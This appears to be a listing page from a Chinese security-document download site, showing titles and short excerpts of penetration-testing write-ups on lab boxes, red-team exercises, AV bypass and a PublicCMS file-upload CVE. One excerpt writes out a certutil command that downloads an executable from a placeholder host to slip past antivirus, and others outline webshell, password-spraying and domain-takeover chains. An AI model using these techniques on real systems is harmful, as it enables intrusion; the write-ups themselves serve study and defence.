爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

记某次常规js前端逆向

# JS前端逆向实战教学：RSA加密密码的逆向分析与批量生成 ## 1. 前言在渗透测试或安全研究中，经常会遇到前端加密的情况，特别是密码字段的加密。本文将通过一个实际案例，详细讲解如何逆向分析前端JS加密逻辑，并使用Python实现批量加密。 ## 2. 加密发现与初步分析 ### 2.1 发现加密现象在登录抓包时发现密码被加密，表现为： - 原始密码：`123456` - 加密后：`a1b2c3...`（长字符串） ### 2.2 定位加密点 1. **F12开发者工具**

2025-08-24 13:33:01

HackTheBox-Holiday

# HackTheBox靶机"Holiday"渗透测试教学文档 ## 1. 信息搜集阶段 ### 1.1 初始扫描使用nmap进行初始扫描： ```bash nmap -Pn -sV -sC -A -oN nmap.txt 10.10.10.25 ``` 扫描结果： - 开放端口： - 22/tcp: OpenSSH 7.2p2 (Ubuntu Linux) - 8000/tcp: Node.js Express框架 - 操作系统：Linux ### 1.2 Web服务枚举

2025-08-24 13:32:11

小记某攻防演练--弱口令引发的域控沦陷

# 弱口令引发的域控沦陷攻防演练技术分析 ## 1. 攻击流程概述本次攻防演练的攻击流程如下： 1. 信息收集阶段：从GitHub获取敏感信息 2. SSO爆破：利用工号规则爆破统一认证系统 3. Jeecg框架漏洞利用：通过文件上传漏洞获取WebShell 4. 内网横向移动：攻击集权系统、收集凭据 5. 密码喷洒攻击：使用Kerbrute进行域用户爆破 6. 域控提权：利用ADCS漏洞获取域控权限 ## 2. 详细技术分析 ### 2.1 信息收集阶段 **关键点：** - 从G

2025-08-24 13:31:21

# PDF上传导致的XSS漏洞分析与利用 ## 漏洞原理 PDF上传导致的XSS漏洞是指当网站允许用户上传PDF文件时，攻击者可以上传包含恶意JavaScript代码的PDF文件。当其他用户查看这个PDF文件时，嵌入的JavaScript代码会被执行，从而实现跨站脚本攻击。 ## 漏洞利用条件 1. 网站允许用户上传PDF文件 2. 上传的PDF文件能够被其他用户访问 3. PDF查看器支持并执行JavaScript代码（大多数现代PDF阅读器都支持） ## 恶意PDF制作方法 ##

2025-08-24 13:30:23

SpringBootCms代码审计过程记录

# SpringBootCMS代码审计教学文档 ## 1. 环境搭建 1. 使用git克隆项目： ```bash git clone [项目地址] ``` 2. 使用IntelliJ IDEA打开项目 3. 修改数据库配置： - 修改`resources/application.properties`中的数据库配置为自己的配置 4. 初始化数据库： - 运行`springbootcms.sql`文件初始化数据库 5. 启动应用： - 运行`App`

2025-08-24 13:29:53

实战下的内网中继攻击问题

# 实战下的内网中继攻击技术详解 ## 一、Cobalt Strike VPN功能在内网渗透中的应用 ### 1. VPN功能概述 Cobalt Strike的beacon自带VPN功能，可以将攻击者的VPS网络环境置于目标内网中。其核心原理是通过虚拟网卡实现网络接口的虚拟化。 ### 2. 技术原理 - 攻击者通过虚拟网卡访问目标网络 - 数据通过以太帧形式传输（基于二层网络工作原理） - VPN服务器通过数据通道（TCP/UDP/HTTP等）传输到VPN客户端 - VPN客户端将流量转

2025-08-24 13:29:06

某菠菜的测试笔记

# 菠菜网站渗透测试实战教学文档 ## 1. 前言本教学文档基于某菠菜网站的渗透测试实战案例，详细记录了从弱口令爆破到最终获取系统权限的全过程。测试环境为Windows Server 2012系统，使用MSSQL数据库。 ## 2. 弱口令爆破 ### 2.1 测试过程 - 目标网站为简单的登录页面，无验证码保护 - 使用Burp Suite进行爆破 - 成功爆破出管理员账号：`admin/123456` ### 2.2 防御建议 - 强制使用复杂密码策略 - 增加验证码机制 - 限

2025-08-24 13:28:30

探究certutil在杀软中的绕过实践

# Certutil在杀软绕过实践指南 ## 1. 简介 Certutil.exe是Windows系统自带的证书服务命令行程序，主要用于证书颁发机构配置信息的转储和显示，验证证书、密钥对和证书链等。但在渗透测试中，它常被用作文件下载工具，因为它是系统自带的白名单程序。 ## 2. 基本下载命令 Certutil下载文件的基本命令格式： ``` certutil -urlcache -split -f http://xxx.com/xx.exe ``` 参数说明： - `-urlcach

2025-08-24 13:17:45

vulntarget-a靶场笔记

# Vulntarget-A 靶场渗透测试教学文档 ## 靶场环境概述 - **网络拓扑**: - 外网段: 192.168.1.0/24 - Kali攻击机: 192.168.1.5 - Win7外网主机: 192.168.1.4 - 内网段1: 10.0.10.0/24 - Win7内网IP: 10.0.10.98 - 域控服务器(WIN2019$): 10.0.10.110 - 内网段2: 10.0.20.0/24 - Win2016

2025-08-24 13:17:00

论报文加密加签场景下如何高效的进行渗透测试

# 基于Burp Montoya API的报文加密加签场景渗透测试指南 ## 1. 背景与问题概述在现代Web应用安全测试中，越来越多的系统采用HTTP报文加密/加签传输机制，这给渗透测试工作带来了新的挑战： - 无法直接查看和修改明文报文 - 传统解决方案（如burpy插件、mitmproxy代理）存在使用不便的问题 - 不同语言实现的加密算法可能存在细微差异，调试耗时 ## 2. 解决方案架构 ### 2.1 整体思路利用Burp的Montoya API，在请求/响应的四个关

2025-08-24 13:15:46

publicCms savePlaceMetaData 任意文件上传漏洞&分析（CVE-2024-40550）

# PublicCMS v4.0.202302.e 任意文件上传漏洞分析 (CVE-2024-40550) ## 漏洞概述 PublicCMS v4.0.202302.e版本中的`/admin/cmsTemplate/savePlaceMetaData`组件存在任意文件上传漏洞。攻击者可以通过上传精心构造的文件来执行任意代码，最终可能导致Web服务器被完全控制。 ## 影响版本 - PublicCMS v4.0.202302.e ## 环境搭建 1. 使用Docker拉取镜像：

2025-08-24 13:14:32

AI风控之伪造音频鉴别

# AI风控之伪造音频鉴别技术详解 ## 前言音频伪造技术，特别是深度伪造(DeepFake)技术，利用深度学习算法合成虚假音频内容，能够模仿特定人的声音，生成与原声极为相似的合成语音。这种技术在娱乐、广告等领域有合法应用，但也存在被滥用于诈骗和误导公众舆论的风险。随着技术进步，音频伪造越来越难以辨识，给社会和个人带来严重安全隐患。 ## 背景知识 ### 频谱特征频谱特征分析是将信号从时域转换至频域的技术，用于揭示信号中频率成分的分布。通过傅里叶变换将时域信号转换为频域信号，分析

2025-08-24 13:13:06

跳转到页